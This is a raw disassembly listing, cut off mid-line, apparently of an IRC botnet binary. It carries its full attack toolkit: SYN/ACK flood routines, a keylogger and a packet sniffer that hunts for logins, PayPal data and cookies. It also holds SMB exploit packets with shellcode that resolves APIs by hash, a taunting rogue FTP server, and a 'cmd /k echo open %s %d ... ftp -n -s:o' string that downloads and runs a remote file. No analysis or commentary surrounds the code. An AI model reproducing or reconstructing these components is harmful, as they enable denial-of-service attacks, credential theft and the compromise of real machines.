failed, returned: <%d>.',0 dword_421264 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh ; DATA XREF: sub_40182E+48o dd 2029206Ch, 2BBBB02h aDoneWithFloo_0 db ' Done with flood (%iKB/sec).',0 align 10h dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh dd 2029206Ch, 2BBBB02h aSendErrorD__0 db ' Send error: <%d>.',0 dword_4212D0 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: seg000:004020C1o dd 2029206Ch, 2BBBB02h aDoneWithSFlo_0 db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 4 dword_421334 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: seg000:00402025o dd 2029206Ch, 2BBBB02h aErrorSending_0 db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 4 aRandom db 'random',0 ; DATA XREF: seg000:00401EE8o ; seg000:0040DE83o align 10h aAck db 'ack',0 ; DATA XREF: seg000:00401EC8o ; seg000:0040DE6Co aSyn db 'syn',0 ; DATA XREF: seg000:00401EA8o ; seg000:0040DE54o dword_4213A8 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: seg000:00401D35o dd 2029206Ch, 2BBBB02h aInvalidTarge_0 db ' Invalid target IP.',0 align 4 dword_4213DC dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: seg000:00401CC4o dd 2029206Ch, 2BBBB02h aErrorSetsock_0 db ' Error: setsockopt() failed, returned: <%d>.',0 align 4 dword_421428 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: seg000:00401C46o dd 2029206Ch, 2BBBB02h aErrorSocketF_0 db ' Error: socket() failed, returned: <%d>.',0 align 10h dw 8 unicode 0, <>,0 aB: ; DATA XREF: sub_4021FB:loc_4022DEo unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h dword_421BA4 dd 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_421BDC dd 28026502h, 62302E31h, 20282029h, 6C79656Bh, 6D2E676Fh ; DATA XREF: seg000:004021C8o dd 6C1F641Fh, 2202920h, 2002BBBBh, 732520h aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: seg000:004021A2o align 4 aAb db 'ab',0 ; DATA XREF: seg000:loc_402168o ; seg000:0040DD32o align 10h unicode 0, <\>,0 aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_4021FB+228o align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4021FB+1E5o align 10h aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4021FB+8Fo align 10h off_421C70 dd offset dword_4224E8 ; DATA XREF: seg000:0040277Ar dd offset off_4224E4 dd offset aFtp ; "FTP" dd offset aHttp ; "HTTP" dd 6F6C2E3Ah, 6E6967h, 3 dup(0) dword_421C94 dd 0 dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp db 'HTTP',0 ; DATA XREF: seg002:00421C7Co align 10h aFtp db 'FTP',0 ; DATA XREF: seg002:00421C78o off_4224E4 dd offset byte_435249 ; DATA XREF: seg002:00421C74o dword_4224E8 dd 544F42h unk_4224EC db 2 ; DATA XREF: seg000:004027D8o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorRecvFaile db 'Error: recv() failed, returned: <%d>',0 align 4 unk_422534 db 2 ; DATA XREF: seg000:00402787o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aSuspiciousSPac db 'Suspicious %s packet from: %s:%d - %s.',0 align 4 aPsniff db '[PSNIFF]',0 ; DATA XREF: seg000:00402711o align 4 unk_422588 db 2 ; DATA XREF: seg000:00402662o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorWsaioctlF db 'Error: WSAIoctl() failed, returned: <%d>.',0 align 4 unk_4225D4 db 2 ; DATA XREF: seg000:004025DFo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorBindFaile db 'Error: bind() failed, returned: <%d>.',0 align 4 unk_42261C db 2 ; DATA XREF: seg000:00402561o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorSocketF_1 db 'Error: socket() failed, returned: <%d>.',0 aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_402AB1+B2o align 10h dword_422670 dd 10FF8h, 0 dword_422678 dd 10FF8h dword_42267C dd 7FFDF020h, 0 dword_422684 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_42270C dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_42273C dd 0 dd 800000D4h, 0 unk_422748 db 81h ; ; DATA XREF: sub_402FB5+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_422794 db 41h ; DATA XREF: sub_403053+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 4 ; =============== S U B R O U T I N E ======================================= sub_4227D8 proc near ; DATA XREF: sub_4032B0+80o push ebx push esi push edi sub sp, 80h mov esi, esp call sub_4228D4 push dword ptr [esi] push 63D61209h call sub_4228EA mov [esi+8], eax call sub_42289D push dword ptr [esi+4] push 0CA2BD06Bh call sub_4228EA mov [esi+0Ch], eax call sub_42284F push dword ptr [esi+4] push 4C0297FAh call sub_4228EA xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_4227D8 endp ; =============== S U B R O U T I N E ======================================= sub_42284F proc near ; CODE XREF: sub_4227D8+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_422878 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_42284F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_422878 proc near ; CODE XREF: sub_42284F+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_422887: ; CODE XREF: sub_422878+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_422894 inc ebx jmp short loc_422887 ; --------------------------------------------------------------------------- loc_422894: ; CODE XREF: sub_422878+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_422878 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42289D proc near ; CODE XREF: sub_4227D8+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_4228B5: ; CODE XREF: sub_42289D+1Ej cmp [ecx], ebx jz short loc_4228BD mov ecx, [ecx] jmp short loc_4228B5 ; --------------------------------------------------------------------------- loc_4228BD: ; CODE XREF: sub_42289D+1Aj mov edx, edi loc_4228BF: ; CODE XREF: sub_42289D+2Aj cmp [edx+4], ebx jz short loc_4228C9 mov edx, [edx+4] jmp short loc_4228BF ; --------------------------------------------------------------------------- loc_4228C9: ; CODE XREF: sub_42289D+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_42289D endp ; =============== S U B R O U T I N E ======================================= sub_4228D4 proc near ; CODE XREF: sub_4227D8+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_4228D4 endp ; =============== S U B R O U T I N E ======================================= sub_4228EA proc near ; CODE XREF: sub_4227D8+16p ; sub_4227D8+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_422900: ; CODE XREF: sub_4228EA+33j jecxz short loc_42293A dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_42290D: ; CODE XREF: sub_4228EA+2Dj lodsb cmp al, ah jz short loc_422919 ror edi, 0Dh add edi, eax jmp short loc_42290D ; --------------------------------------------------------------------------- loc_422919: ; CODE XREF: sub_4228EA+26j cmp edi, [esp+20h+arg_0] jnz short loc_422900 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_42293A: ; CODE XREF: sub_4228EA:loc_422900j ; sub_4228EA:loc_42293Aj jmp short loc_42293A sub_4228EA endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_422940 proc near ; DATA XREF: sub_4032B0+30o arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_422992 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_42295D: ; CODE XREF: sub_422940+38j jecxz short loc_42298D dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_422968: ; CODE XREF: sub_422940+32j lodsb test al, al jz short loc_422974 ror edx, 0Dh add edx, eax jmp short loc_422968 ; --------------------------------------------------------------------------- loc_422974: ; CODE XREF: sub_422940+2Bj cmp edx, [esp+arg_0] jnz short loc_42295D mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_42298D: ; CODE XREF: sub_422940:loc_42295Dj mov [esp+arg_0], ebx retn sub_422940 endp ; =============== S U B R O U T I N E ======================================= sub_422992 proc near ; CODE XREF: sub_422940+7p ; FUNCTION CHUNK AT 004229CA SIZE 00000007 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_4229AB mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_4229B6 ; --------------------------------------------------------------------------- loc_4229AB: ; CODE XREF: sub_422992+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_4229B6: ; CODE XREF: sub_422992+14j pop edi xor esi, esi pusha push esi jmp short loc_4229CA sub_422992 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4229BD proc near ; CODE XREF: sub_422992:loc_4229CAp push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_4229BD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_422992 loc_4229CA: ; CODE XREF: sub_422992+29j call sub_4229BD loc_4229CF: ; DATA XREF: sub_402A56+1Bo ; seg000:0040BB74o add [ebx], ah ; END OF FUNCTION CHUNK FOR sub_422992 ; --------------------------------------------------------------------------- db 3 dup(0) dword_4229D4 dd 60h dword_4229D8 dd 62B0606h, 2050501h, 0A0hdword_4229E4 dd 30h dword_4229E8 dd 0A1h dword_4229EC dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_402AB1+153o align 4 loc_4229F8: ; DATA XREF: sub_402AB1+E8o jmp short near ptr dword_422A00 ; --------------------------------------------------------------------------- align 10h dword_422A00 dd 0 dword_422A04 dd 2F2F7325h, 2E732520h, 0aCmdKEchoOpenSD db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: sub_4032B0+55o db 'echo quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: seg000:00403E7Eo aQuit db 'QUIT',0 ; DATA XREF: seg000:00403E6Ao ; seg000:0040B88Fo align 4 a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: seg000:00403E5Do align 4 dword_422AC8 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: seg000:00403E12o dd 2029206Ch, 2BBBB02h aFileSentToSOnP db ' File sent to %s on port %d, now executing %s on remote machine.' db 0 align 4 a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: seg000:00403DF3o a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: seg000:00403DC7o align 4 aRetr db 'RETR',0 ; DATA XREF: seg000:00403DAFo align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: seg000:00403D9Ao align 4 aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: seg000:00403D89o aXX db '%x%x',0Ah,0 ; DATA XREF: seg000:00403D56o align 4 aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: seg000:00403D15o db ']',0 aPort db 'PORT',0 ; DATA XREF: seg000:00403CDCo align 4 a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: seg000:00403CAEo align 10h aList db 'LIST',0 ; DATA XREF: seg000:00403C9Bo align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: seg000:00403C60o align 4 aPasv db 'PASV',0 ; DATA XREF: seg000:00403C4Do align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: seg000:00403C3Do aI: ; DATA XREF: seg000:00403C29o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: seg000:00403C02o aA: ; DATA XREF: seg000:00403BEEo unicode 0, <A>,0 aType db 'TYPE',0 ; DATA XREF: seg000:00403BD7o ; seg000:00403C12o align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: seg000:00403BC7o align 4 off_422C84 dd offset dword_445750 ; DATA XREF: seg000:00403BB3o a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: seg000:00403BA3o align 4 aRest db 'REST',0 ; DATA XREF: seg000:00403B8Fo align 4 a215Fuckftpd db '215 fuckFtpd',0Ah,0 ; DATA XREF: seg000:00403B7Fo align 4 aSyst db 'SYST',0 ; DATA XREF: seg000:00403B6Bo align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: seg000:00403B5Bo align 4 aPass db 'PASS',0 ; DATA XREF: seg000:00403B47o align 4 a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: seg000:00403B37o align 4 aUser_0 db 'USER',0 ; DATA XREF: seg000:00403B22o align 4 aSS_1 db '%s %s',0 ; DATA XREF: seg000:00403B11o align 4 a220Fuckftpd0wn db '220 fuckFtpd 0wns j0',0Ah,0 ; DATA XREF: seg000:00403A89o align 4 aRb db 'rb',0 ; DATA XREF: sub_403F31+24o ; seg000:00405214o ... align 10h unk_422D20 db 2 ; DATA XREF: sub_403FCB+3F8o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorServerFai db 'Error: server failed, returned: <%d>.',0 align 4 asc_422D68 db 0Dh,0Ah,0 ; DATA XREF: sub_403FCB+2CFo align 4 asc_422D6C: ; DATA XREF: sub_403FCB+293o ; seg000:0040B403o ... unicode 0, < >,0 aGet db 'GET ',0 ; DATA XREF: sub_403FCB+269o align 4 aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_403FCB+551o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_403FCB+52Eo db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_403FCB+4F2o ; sub_408F79+1AEo align 10h aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_403FCB+4DEo align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_403FCB:loc_40448Bo align 10h aTextHtml db 'text/html',0 ; DATA XREF: sub_403FCB+4B9o align 4 unk_422F8C db 2 ; DATA XREF: seg000:00404837o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_422FD8 db 2 ; DATA XREF: seg000:004047B3o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aWorkerThreadOf db 'Worker thread of server thread: %d.',0 asc_42301C: ; DATA XREF: seg000:004046FFo unicode 0, 